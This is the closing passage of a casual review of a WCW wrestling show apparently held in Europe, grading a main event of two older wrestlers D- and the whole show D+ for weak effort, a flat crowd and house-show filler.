Rating: D-. For all the reasons listed above plus the fact that no one cared at all. This was crap. What a shock, two old guys get to go on for a match that no one is going to care about. Why is this not surprising?

Overall Rating: D+. This was just not that good. To be fair though, most European shows aren’t. The fans were kind of there but this had nothing on an English crowd. The guys on the lower half of the card worked very hard and the guys on the main event didn’t, so it fits very well. There’s a lot of house show stuff in here and it’s just not that interesting. If you can actually find this, don’t bother watching it unless you speak German or just REALLY like WCW.

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